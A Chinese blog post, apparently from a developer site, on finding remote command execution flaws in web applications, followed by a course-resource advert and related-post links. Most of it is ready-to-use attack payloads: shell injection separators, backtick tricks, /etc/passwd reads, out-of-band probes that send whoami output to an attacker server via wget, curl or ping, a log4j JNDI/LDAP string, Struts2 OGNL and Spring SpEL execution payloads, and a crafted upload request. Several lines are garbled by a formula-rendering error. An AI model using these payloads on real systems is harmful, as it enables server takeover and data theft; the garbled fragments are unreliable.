RCE远程命令执行漏洞挖掘思路

从命令注入到服务漏洞:立体化挖掘RCE的实战思路 远程代码执行(RCE)是Web安全领域的核心高危漏洞,其本质在于攻击者能够通过应用层或系统层的缺陷,在目标服务器上执行任意命令。从原理上看,RCE的实现路径多样,既可能源于应用代码对用户输入的处理不当,如未过滤的参数直接拼接至系统命令函数;也可能根植于底层服务配置的疏漏,例如PHP-FPM的错误暴露或特定系统服务的已知漏洞。这类漏洞的技术价值在于其直接威胁服务器控制权,是衡量系统安全性的关键标尺。在应用场景上,RCE的挖掘不仅限于单一漏洞点,更常见于对多个中低危缺陷进行逻辑串联,形成完整的攻击链。例如,通过 阅读详情

RCE漏洞可能出现在哪些地方?

1.URL上

在url参数上,不仅仅可能存在ssrf漏洞,也有很大概率存在命令执行,很大可能调用系统命令如curl。

payload例子:

index.php?id=2;}phpinfo();/*

ttp://www.xxx.com/cmd.php?cmd=phpinfo()

比如访问到如下URL,在jsp后面尝试加参数,比如path(什么参数需要试)

http://x.x.x.x:28076/file/dirFiles.jsp?path=

发现show.jsp存在任意文件读取漏洞,URL:http://x.x.x.x:28076/file/show.jsp?path=/etc/passwd

最初想通过添加双引号闭合if条件判断参数注入命令,没有成功。

payload:/etc/passwd" ];ls;then echo 1;fi;if [ -e "123.txt;

经过多次测试,最终可用反引号``或者$()进行命令执行,如`ifconfig`:

payload:“`ifconfig |xargs`”

命令结果的回显是因为判断不存在FILA_PATH文件名的文件后,会把变量值返回

echo “the file($FILE_PATH) dose not exist!”

拓展知识:Linuxbash中可以使用反引号``、 ( ) 等方式将 b a s h 命令的执行结果保存到变量中,如 a = ()等方式将bash命令的执行结果保存到变量中,如a= ()等方式将bash命令的执行结果保存到变量中,如a=(ifconfig):

2.所有变量:所有变量/提交的数据都要尝试

测试payload:

&不管前后命令是否执行成功都会执行前后命令
&&具有短路效果。 前面的命令执行成功才能执行后面的命令

payload例子

ping 127.0.0.1&ipconfig #在linux系统里是几乎同时执行

ping 127.0.0.1 && ipconfig #在linux系统里执行完前面再去执行后面

ping 127.0.0.1 &;& ipconfig #其中**;**会被解析为空

ping 127.0.0.1 || ipconfig #在linux中两个**||** = or

ping 127.0.0.1 | ipconfig #在linux中**|**叫管道符,把前面一个命令执行的结果给后面的命令执行

再测试SSRF的地方尝试测试命令执行

文件下载处就很大概率会调用wget!在查看图片,查看文件等地方可能会使用cat命令等,在文件删除上,我们可能会用到rm命令!
尝试在url,xxxurl等参数下测试命令执行
如输入http://服务器ip/ 采用nc监听探测是否访问。
尝试 输入http:// sleep 5.服务器地址/ 出现延迟就说明存在注入
尝试输入 http://服务器地址/$(whoami)
尝试输入http://whoami.服务器地址
现在搭建网站多以linux做网站服务器,以linux为例子讲解:
作为曾经写过一段时间业务代码的我来说,在挖掘命令执行漏洞时,我经常思考,哪些地方更有可能存在命令执行漏洞呢?
网站邮箱注册,填写邮箱,邮箱验证处,是否可能存在第三方接口的调用

payload:”email”: `wget%20xxx.ceye.io/xxxx`@qq.com”

3.所有头:cookie的变量

4.文件上传处:存在问题参数filename

完整数据包:
POST /index.php HTTP/1.1
Content-Length: 364
Content-Type: multipart/form-data; boundary=-----AcunetixBoundary_NHDUMYQDQJ
Host: xxx.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
-------AcunetixBoundary_NHDUMYQDQJ
Content-Disposition: form-data; name=“submit”
submit
-------AcunetixBoundary_NHDUMYQDQJ
Content-Disposition: form-data; name=“ver”
set|set&set
-------AcunetixBoundary_NHDUMYQDQJ
Content-Disposition: form-data; name=“file”; filename=“;set|set&set;”
Content-Type: image/png
-------AcunetixBoundary_NHDUMYQDQJ—
发包响应:

列出所有系统路径。他这里fuzz的技巧很好,一般我们测试命令注入都是|payload亦或是&payload,亦或是;payload,他这里把三种测试方法都归到一块变成: ;payload|payload&payload
payload可以是直接回显的set或者是ls等参数,也可以是远程curl,wget探测!
凡是name,filename等参数是很容易爆发出命令执行漏洞的,这些参数是我们fuzz中重点的关照对象。我们一定要对这些点进行多测试!

逐个变量删除:筛选出服务器对哪些变量进行处理

小总结:

Window下||和&
linux下||和&
Linux下过滤空格可以使用:I F S , {IFS},IFS,IFS,$IFSKaTeX parse error: Can’t use function ‘\u’ in math mode at position 15: 9 JSON格式下的测试: \̲u̲000awget\u0020 …(whoami)
curl http://服务器地址/( w h o a m i ∣ b a s e 64 ) ′ w ′ g ′ e ′ t (whoami|base64) 'w’g’e’t(whoami∣base64)′w′g′e′t{IFS}服务器地址
Windows下rce探测:
ping %USERNAME%.服务器地址
for /F %x in (‘whoami’) do start http://服务器地址/%x(获取计算机名)
for /F “delims=\ tokens=2” %i in (‘whoami’) do ping -n 1 %i.服务器地址(获取用户名)
测试邮箱:wget%209服务器地址/xxxx@qq.com
测试上传:sleep 10filename
测试filenname:||wget%20服务器地址
测试上传处下的名称: ;payload|payload&payload

各语言RCE的危险函数

1、PHP
assert
escapeshellarg
escapeshellcmd
exec
passthru
proc_close
proc_get_status
proc_nice
proc_open
proc_terminate
shell_exec
system
2、Python
system
popen
subprocess.call
spawn
3、Java
java.lang.Runtime.getRuntime().exec(command)

5.框架和中间件已曝光漏洞

以JAVA举例:

rmi 远程通信协议 一种机制,可以在相同计算机的不同进程或者不同计算机的进程,rmi传输是通过序列化方式进行传输的,rmi在接收经过序列化的对象(字节流)会进行反序列化。

jndi:是应用程序命令接口,会加载实例对象,还可以访问现有的目录和服务。一般是命令执行注入漏洞,反序列化漏洞也会关联到。

LDAP:是一个访问在线目录服务的协议,比如log4j2远程代码执行漏洞,可以使用相关的dnslog平台查看,在dnslog平台获得临时域名,漏洞处输入payload:${jndi:ldap://rbmanr.dnslog.cn/exp} 有回显,说明存在该漏洞。jndi注入的地方可以找url或抓包请求头比如X-Api-Version

ognl(对象图导航语言),它是struts2框架里面的第三方语言(即可以再别的地方用,struts2只是拿过来了而已),它可以调用对象中的方法,参考https://www.cnblogs.com/ends-earth/p/10714068.html 不仅可以执行简单计算(首先生成一个ongl上下文,context),ongl还可以对类和对象进行操作。通过context来put的对象都会放入value属性中,穿进去的字符串就是该属性中的key,通过#key的形式来指定对象,也可以修改属性值和方法。有了这些基础我们就可以来构造ognl表达式来执行我们的命令
struts2的ognl表达式注入漏洞,原理就是对用户的参数没有进行过滤,导致恶意参数直接传入到ognl的方法中命令执行。paylaod:${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec(‘calc.exe’)}
KaTeX parse error: Expected '}', got '#' at position 3: {(#̲dm=@ognl.OgnlCo…{(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(“id”).getInputStream(),“utf-8”)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(“X-Cmd-Response”,#a))}

SpEL全称是Spring Expression Language是一种强大的表达式语言。在Spring产品组合中,它是表达式计算的基础。它支持在运行时查询和操作对象图,它可以与基于XML和基于注解的Spring配置还有bean定义一起使用。由于它能够在运行时动态分配值,因此可以为我们节省大量Java代码。
SpEL使用 #{…} 作为定界符,所有在大括号中的字符都将被认为是 SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法。spel表达式注入漏洞,将输入的参数直接当作表达式解析的参数,在解析过程中将造成命令执行。
http://127.0.0.1:8080/test?input=new%20java.lang.ProcessBuilder(%22/Applications/Calculator.app/Contents/MacOS/Calculator%22).start()
http://127.0.0.1:8080/hehe?payload=${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{47, 65, 112, 112, 108, 105, 99, 97, 116, 105, 111, 110, 115, 47, 67, 97, 108, 99, 117, 108, 97, 116, 111, 114, 46, 97, 112, 112, 47, 67, 111, 110, 116, 101, 110, 116, 115, 47, 77, 97, 99, 79, 83, 47, 67, 97, 108, 99, 117, 108, 97, 116, 111, 114})).start()}
比如Spring Cloud Gateway 远程代码执行漏洞

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取

读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

在这里插入图片描述
在这里插入图片描述

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程文末领取哈)
在这里插入图片描述

在这里插入图片描述

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

在这里插入图片描述

黑客资料由于是敏感资源,这里不能直接展示哦!(全套教程文末领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

在这里插入图片描述

👉5.黑客必读书单👈

在这里插入图片描述

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
在这里插入图片描述
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

RCE漏洞攻防全景:从原理、挖掘到防御的实战指南 远程代码执行(RCE)是网络安全领域最严重的威胁之一,其核心原理在于应用程序错误地将用户输入的数据当作代码或系统命令执行。这通常源于不安全的输入处理机制,例如未经过滤的命令拼接或不安全的反序列化操作。从技术价值看,理解RCE有助于构建更健壮的系统,防止服务器被完全控制。其应用场景广泛,涉及Web应用、API接口以及依赖第三方组件的各类服务。本文聚焦于RCE漏洞的攻防实战,深入剖析命令执行与代码执行两类核心漏洞的原理,并结合反序列化等热词,系统介绍从黑盒模糊测试、白盒代码审计到高级绕过技巧的完整链条,最终落脚 阅读详情

相关推荐

从单点漏洞到批量挖掘:构建自动化RCE漏洞扫描体系实战

命令注入(Command Injection)是一种常见的高危Web安全漏洞,其原理在于应用程序未对用户输入进行充分过滤,直接将输入拼接至系统命令中执行,导致攻击者能够注入并执行任意系统命令。理解其原理是构建有效防御和自动化检测的基础。该漏洞的技术价值在于其直接危害性高,可导致服务器被完全控制,进而引发数据泄露、内网横向移动等严重后果。在应用场景上,尤其在企业级软件(如ERP、CRM系统)和供应链系统中,由于系统复杂、接口众多,往往存在批量风险。本文以用友畅捷通T+软件的远程命令执行漏洞为具体案例,深入剖析

weixin_28622215的博客 273

RCE漏洞详解及绕过总结(全面)

包括RCE漏洞的原理,常见的造成RCE漏洞的函数解析,以及限制绕过的各种姿势

永不落的梦想 2万+

RCE漏洞原理与高危函数解析:从命令执行到远程代码执行

远程代码执行(RCE)是网络安全领域的高危漏洞类型,其本质在于攻击者能够突破数据与代码的边界,将恶意代码注入目标系统并执行。从技术原理上看,RCE通常源于用户输入直接进入代码执行上下文、不安全的反序列化操作、文件包含与上传的链式利用,以及底层服务协议漏洞。在工程实践中,PHP的eval()、system()等函数,以及Java的Runtime.exec()、Python的os.system()等,都可能成为RCE的入口点。例如,通过精心构造的序列化数据触发对象魔术方法,或利用文件上传结合解析漏洞,攻击者可以

weixin_33735077的博客 438

命令执行漏洞详解:从原理到实战利用与防御修复

在Web安全领域,命令执行漏洞是危害最严重的漏洞类型之一,常被称为RCE(远程代码执行)。其本质是用户输入的数据被程序拼接到系统命令中,由shell解释执行,导致攻击者可以操控服务器命令。无论是命令注入、代码执行还是框架级漏洞,都遵循“输入被当作命令解析”这一核心原理。理解这一机制,对渗透测试中的漏洞挖掘、安全运维中的风险排查以及开发过程中的安全编码都至关重要。典型的触发场景包括ping检测、域名查询、文件处理等需要调用系统命令的功能模块。本文结合实战案例,系统讲解命令执行漏洞的利用思路、常见绕过技巧以及纵

weixin_28716443的博客 279

RCE漏洞挖掘实战:从原理到Payload构造与绕过技巧

远程代码执行(RCE)漏洞是Web安全领域最具破坏性的威胁之一,其核心原理在于用户输入被不当传递给了系统执行接口。理解其技术本质,需要从命令注入、代码注入、反序列化等基础概念入手,这些机制最终都旨在获取服务器端的命令执行权限。在工程实践中,挖掘RCE漏洞的价值在于发现并修复应用层与系统层间的危险交互,从而防止数据泄露、服务器沦陷等严重后果。其应用场景广泛,从常规的Web参数注入到文件上传、模板解析乃至第三方组件漏洞利用。本文以一次真实的参数注入案例为引,系统拆解了针对WAF的绕过思路,例如利用换行符(%0a

weixin_33946605的博客 362

若依框架SQL注入到RCE漏洞链:从计划任务模块到命令执行

SQL注入是一种常见的Web安全漏洞,攻击者通过构造恶意输入,能够操纵后端数据库查询,从而窃取、篡改或删除数据。其原理在于应用程序未对用户输入进行充分验证和过滤,直接将输入拼接到SQL语句中执行。在Java生态中,MyBatis等ORM框架若不当使用${}进行动态SQL拼接,极易引入此类风险。该漏洞的技术价值在于,它往往成为攻击链的初始入口,为后续权限提升奠定基础。在实际应用场景中,SQL注入点可能出现在数据查询、排序、过滤等交互频繁的功能模块。当与框架的特定功能结合时,例如若依(RuoYi)框架的计划任务

weixin_33749242的博客 407

RCE绕过实战复盘:命令执行与代码执行的边界、过滤绕过及防御

远程代码执行(RCE)是Web安全中后果最严重的漏洞类型之一,攻击者通过可控参数将系统命令或脚本代码送入服务器端解释器执行。其本质是用户输入未经严格校验就落入system、eval等危险函数,形成从输入到执行的攻击链。理解命令执行与代码执行的边界,掌握黑名单、单引号包裹等过滤条件下的绕过思路,对CTF选手和工程防护都有直接价值。在渗透测试、漏洞挖掘与代码审计等场景中,可通过函数调用链复现风险,并用白名单校验、禁用危险函数、低权限运行等方式收敛攻击面。围绕第一周RCE作业,完整拆解危险函数、rce绕过实战、p

weixin_42533120的博客 203

《WEB安全渗透测试》(30)RCE漏洞挖掘技巧

我们安全工程师最喜欢的漏洞是什么?非RCE漏洞莫属!那RCE漏洞挖掘是否有技巧可言?

午夜安全 2072

1、远程命令执行漏洞RCE

命令注入是一种Web漏洞,允许攻击者通过服务器执行恶意命令。攻击者可通过参数值、Cookie值等位置注入恶意命令。攻击者可通过系统文件读取、写入等操作获取敏感信息,甚至控制服务器。防御方法包括硬编码参数、限制可变参数为整型、严格过滤参数、禁止可变命令。漏洞利用可通过绕过限制,执行命令操作,如读取文件、发起DNS解析等。可使用基础命令判断漏洞存在,如whoami、ls等。防御措施包括固定参数、过滤、限制可变命令。

feiwujiushiwo的博客 614

RCE漏洞挖掘经验分享(一)

一、RCE漏洞概述 RCE又称远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。 产生的原因:服务器没有对执行命令的函数做严格的过滤,最终导致命令被执行。 二、命令执行函数 1.PHP代码执行函数: eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等

记录并分享学习安全的知识点.. 2891

32-1 命令执行漏洞 - RCE挖掘与防范

这里也找不到在线的,不过可以用bp编码。编码后的字符要使用就需要解密才行。如将 whoami 命令进行编码。这个我没找到编码工具。

weixin_43263566的博客 373

【SRC】基础思路篇19:RCE远程代码执行漏洞挖掘完全指南

类型成因典型场景命令注入用户输入拼接到系统命令os.system、exec调用代码注入用户输入被动态执行eval、反射调用反序列化反序列化数据触发代码执行Java、PHP、Python反序列化文件上传上传可执行文件WebShell上传框架漏洞已知框架漏洞利用模板注入模板引擎执行代码SSTIJNDI注入JNDI引用加载恶意类RCE漏洞是SRC漏洞挖掘的"终极目标",也是技术难度最高的漏洞类型。信息收集要深:技术栈、框架、组件、接口、源代码都是RCE挖掘的线索。

水滴石穿 385

网络攻击攻击之-远程命令执行/RCE告警运营分析篇

从远程命令执行的定义,流量数据包,suricata规则,告警研判,处置建议等几个方面阐述如何通过IDS/NDR,态势感知等流量平台的远程命令执行类型的告警的线索,开展日常安全运营工作,从而挖掘有意义的安全事件。

村中少年的专栏 809

【第58课】WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘

​​​​​。

Lucker_YYY的博客 1979

OpenCV+ArUco实战:如何用Python实现高精度二维码测距(附完整代码)

本文详细介绍了如何使用Python和OpenCV实现基于ArUco标签的高精度单目视觉测距。通过相机标定、标签检测和三维位置估算,结合完整代码示例,帮助开发者在机器人导航、工业自动化等场景中实现厘米级距离测量,并探讨了精度优化与三维可视化等进阶应用。

weixin_29052717的博客 478

山石网科Hillstone防火墙基础上网配置_CLI命令行(最新版)

山石网科Hillstone防火墙安全网关基础上网基础网络配置_CLI命令行(最新版)

路与肥的博客 1万+

某rce漏洞挖掘等案例分享

免责声明。

2402_84205067的博客 406

浅谈武术擂台格斗机器人大赛

武术擂台机器人赛是工科类专业的一个跨学科的竞赛项目,它涵盖了机械结构、硬件电路和计算机程序等技术领域。笔者在校期间有幸参加过四次这样的比赛,有成功也有失败,对此深有感悟。本文仅为个人观点,有说得不对的地方,望积极指出,希望能帮助到有需要的人。

weixin_43811044的博客 1万+

RCE漏洞

如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。远程代码执行 同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。(1)从入口(HTTP流量)防御(自研)(2)执行的命令是可以通过参数控制的。(3)白名单(命令、IP)

a987329381的博客 444

最新版Node.js下载安装及环境配置教程(非常详细)

选择对应你系统的Node.js版本。

DN金猿的博客 12万+

ACS运动控制器编程语言

ACS运动控制器采用SPiiPlusLanguage(SPL)作为核心编程语言,该语言基于C语法设计,内置丰富的运动控制指令,支持点位运动、插补等复杂控制。控制器提供专用开发工具SPiiPlusManager和ACSStudio,支持图形化编程与调试。同时兼容TCP/IP、EtherCAT等多种扩展接口,便于与上位机或PLC集成。使用时需注意实时性优先级、轴参数匹配等关键事项。官方文档和示例程序为开发者提供了完善的学习资源。

StevenChen的博客 628

web安全-4-远程代码执行漏洞 RCE

远程代码执行漏洞详情

qq_57410330的博客 1506

域适应分类:MCD论文笔记——Maximum Classifier Discrepancy for Unsupervised Domain Adaptation

域适应分类:MCD论文笔记——Maximum Classifier Discrepancy for Unsupervised Domain Adaptation

qq_50001789的博客 1007
上一篇: 网络安全攻防:Web安全之渗透测试(非常详细)零基础入门到精通,收藏这一篇就够了
下一篇: CTF选手必藏的100个实战解题思路,(非常详细)从零基础到精通,收藏这篇就够了!
网络安全_入门教程
博客等级 码龄4年 1万+粉丝 2151原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值